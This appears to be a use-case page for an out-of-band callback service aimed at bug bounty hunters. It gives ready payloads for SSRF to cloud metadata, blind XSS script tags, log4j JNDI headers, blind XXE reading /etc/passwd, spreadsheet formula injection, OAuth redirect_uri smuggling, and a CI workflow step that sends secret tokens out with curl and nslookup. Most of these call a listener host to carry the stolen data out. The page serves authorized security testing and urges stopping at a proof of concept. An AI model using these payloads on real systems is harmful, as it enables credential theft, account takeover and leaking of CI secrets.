Use cases

Real-world scenarios — when and how to use each payload type in bug bounty engagements.

HTTP SSRF via URL import endpoint difficulty: ★★☆☆☆

Scenario

The target has an "import from URL" feature on its admin or developer panel — common in CMS, automation tools, analytics platforms.

How to test

Replace any URL field with your listener:

POST /api/imports
{ "source_url": "https://YOUR_SUB.pingback.sh/admin-test.csv" }

What proves the bug

  • HTTP hit with the target's IP ⇒ the server fetched your URL
  • User-Agent reveals the framework (Go-http-client, python-requests, Java-URLConnection)
  • If you see internal IPs in headers (X-Forwarded-For), even better
Impact: internal port scanning, cloud metadata access, internal API discovery.

HTTP Webhook destination abuse difficulty: ★☆☆☆☆

Scenario

SaaS apps let users configure webhooks for events (new signup, payment, etc.). If the destination URL isn't validated, it's a free SSRF.

How to test

Set your webhook URL to https://YOUR_SUB.pingback.sh/webhook, trigger the relevant event, and check what arrives.

What proves the bug

  • Webhook payload contains internal session tokens, signed JWTs, or other secrets
  • The webhook signing key is reused across all customers (leak via timing)
  • The Source-IP is an internal range (10., 172.16., 192.168.)
Impact: cross-tenant data leak, webhook signature bypass, internal recon.

HTTP + DNS Cloud metadata exfiltration difficulty: ★★★☆☆

Scenario

You've confirmed SSRF. The target is on AWS/GCP/Azure. You want to extract metadata (IAM keys, instance roles).

How to test

First confirm SSRF works against your listener. Then chain to the metadata endpoint:

# AWS (no IMDSv2)
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Then exfil what you find via your listener (double-SSRF chain)
?url=http://YOUR_SUB.pingback.sh/exfil?data=BASE64_OF_CREDS

What proves the bug

  • HTTP hit with credentials in path/query/body
  • Or just a DNS query containing the base64-encoded creds in the subdomain (when HTTP egress is filtered)
Impact: CRITICAL — full account takeover. Read the report carefully before exploiting beyond a PoC.

XSS Blind XSS in support tickets difficulty: ★★☆☆☆

Scenario

Support agents view tickets in a back-office that probably doesn't escape user input properly. Profile fields, ticket bodies, ticket titles are all candidates.

How to test

Drop a blind XSS payload in your profile (name, bio, company) AND open a support ticket. The agent will eventually open your profile.

"><script src=//YOUR_SUB.pingback.sh/x></script>

What proves the bug

  • XSS hit fires from an internal admin domain (e.g. admin.target.com)
  • Cookies include agent session — proves auth context
  • DOM snapshot shows admin tools (impersonation buttons, user search)
Impact: account takeover (admin), customer data access, sometimes full impersonation of any user.

DNS SSRF behind egress firewall difficulty: ★★★☆☆

Scenario

The target processes your URL but no HTTP request reaches your listener. The egress firewall blocks outbound HTTP — but DNS resolution still works.

How to test

Same SSRF payload. You should see a DNS query on pingback.sh's nameserver even if no HTTP arrives.

?url=https://YOUR_SUB.pingback.sh/anything-here

What proves the bug

  • DNS hit appears in your dashboard (badge in blue)
  • No HTTP hit — confirms egress filtering at L4 but not L7
Impact: still reportable as SSRF. Often combined with DNS rebinding to break the firewall.

DNS log4j-style JNDI in headers difficulty: ★★☆☆☆

Scenario

Even in 2026, log4j is still around in old enterprise stacks. Any field that ends up in a Java log might trigger.

How to test

Inject into User-Agent, Referer, X-Forwarded-For, or any auth header:

User-Agent: ${jndi:dns://YOUR_SUB.pingback.sh/probe}
X-Api-Version: ${jndi:ldap://YOUR_SUB.pingback.sh/a}

What proves the bug

  • A DNS hit with query path containing your probe string
  • The hit's source IP belongs to the target's outbound NAT
Impact: CRITICAL — log4shell is RCE. Stop at the DNS PoC. Don't escalate to actual RCE without authorization.

HTTP + DNS Blind XXE exfiltration difficulty: ★★★★☆

Scenario

The target accepts XML uploads (sitemaps, SOAP, SAML, ICS imports) and parses with an outdated lib. No response output — classic blind XXE.

How to test

Upload a payload that references an external DTD on your listener:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % ext SYSTEM "http://YOUR_SUB.pingback.sh/x.dtd">
  %ext;
]>

Host x.dtd on your listener path (or use a CDN). It calls back with the leaked file in URL.

What proves the bug

  • HTTP hit on /x.dtd first (the parser fetches it)
  • Then a second HTTP hit with file contents in URL parameters
Impact: arbitrary file read (passwords, keys, source code).

SMTP Password reset enumeration difficulty: ★☆☆☆☆

Scenario

You want to confirm the target sends emails to arbitrary addresses without verification — and intercept what's inside.

How to test

Use an SMTP catch-all address as a recovery / signup email:

anything@YOUR_SUB.pingback.sh

What proves the bug

  • SMTP hit appears with reset link or signup confirmation
  • The reset link contains a long-lived token (sometimes valid for days)
  • If user enumeration is possible, you'll see which addresses receive mail
Impact: account takeover (if reset tokens are weak), email enumeration, phishing prep.

XSS / HTTP Payload in filename difficulty: ★★★☆☆

Scenario

Upload forms often echo back the filename in lists, admin dashboards, or activity logs without escaping.

How to test

Use a polyglot filename — works in HTML AND in some image parsers:

"><img src=//YOUR_SUB.pingback.sh/p onerror=alert(1)>.png

Or simpler — just rename a file to:

test<script src=//YOUR_SUB.pingback.sh/x></script>.png

What proves the bug

  • XSS hit fires when an admin views the upload listing
  • HTTP hit on /p means the image src was loaded (could indicate CSP bypass)
Impact: XSS in admin context, often with full DOM access to user records.

HTTP + DNS Image thumbnailer SSRF (SVG / GIF) difficulty: ★★★☆☆

Scenario

The target generates thumbnails for uploaded images. SVG, in particular, can contain external references.

How to test

Upload an SVG that requests an external image (rendered server-side):

<svg xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="http://YOUR_SUB.pingback.sh/svg-test"/>
  <text font-size="20">hi</text>
</svg>

For polyglot: many image libs run external code in SVG attributes. Try filterRes, font-face, foreignObject.

What proves the bug

  • HTTP hit with User-Agent like ImageMagick, librsvg, Wand
  • Source IP belongs to the rendering worker (often a worker pool, not the web frontend)
Impact: SSRF from a privileged worker — often has access to internal services the web tier can't reach.

DNS CSV / spreadsheet formula injection difficulty: ★★☆☆☆

Scenario

The target lets users export data as CSV. If formulas aren't escaped, an admin opening the CSV in Excel triggers HTTP calls.

How to test

In any input field that ends up in a CSV export:

=WEBSERVICE("https://YOUR_SUB.pingback.sh/csv-leak?cell=A1")
=HYPERLINK("https://YOUR_SUB.pingback.sh/click","click me")

What proves the bug

  • HTTP hit when the admin opens the exported file in Excel
  • User-Agent: Microsoft Office Excel
Impact: data exfiltration from internal cells, sometimes RCE via DDE.

HTTP PDF generator with external resources difficulty: ★★★☆☆

Scenario

The app generates PDFs from user-provided HTML (invoices, reports). The HTML renderer (wkhtmltopdf, headless Chrome) fetches external resources.

How to test

Inject HTML into any field that ends up in the PDF:

<img src="http://YOUR_SUB.pingback.sh/pdf-ssrf">
<link rel="stylesheet" href="http://YOUR_SUB.pingback.sh/style">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

What proves the bug

  • HTTP hit when the PDF is generated
  • User-Agent reveals the rendering engine (wkhtmltopdf, Chrome Headless)
Impact: SSRF that can read local files via file://, cloud metadata, internal APIs.

HTTP OAuth redirect_uri smuggling difficulty: ★★★★☆

Scenario

An OAuth provider does loose validation of redirect_uri — accepts subdomains or substrings.

How to test

Try variations of the redirect_uri parameter:

?redirect_uri=https://YOUR_SUB.pingback.sh/cb
?redirect_uri=https://app.target.com.YOUR_SUB.pingback.sh/
?redirect_uri=https://app.target.com@YOUR_SUB.pingback.sh/

What proves the bug

  • HTTP hit with code= or access_token= in URL
  • The auth provider followed the redirect — token leak confirmed
Impact: account takeover via stolen OAuth tokens.

HTTP + DNS CI/CD secrets leak difficulty: ★★☆☆☆

Scenario

Pull requests from forks trigger CI. If the CI exposes secrets via env vars, you can exfil with a malicious build script.

How to test

Submit a PR that modifies the build to call your listener:

# In .github/workflows/test.yml or similar
- run: curl https://YOUR_SUB.pingback.sh/?token=$SECRET_TOKEN
- run: nslookup ${SECRET}.YOUR_SUB.pingback.sh

What proves the bug

  • HTTP hit with the secret in the query string
  • Or DNS hit with the secret as subdomain (works when HTTP egress is blocked)
Impact: CI secrets often grant access to deploy/prod/registry — repo takeover possible.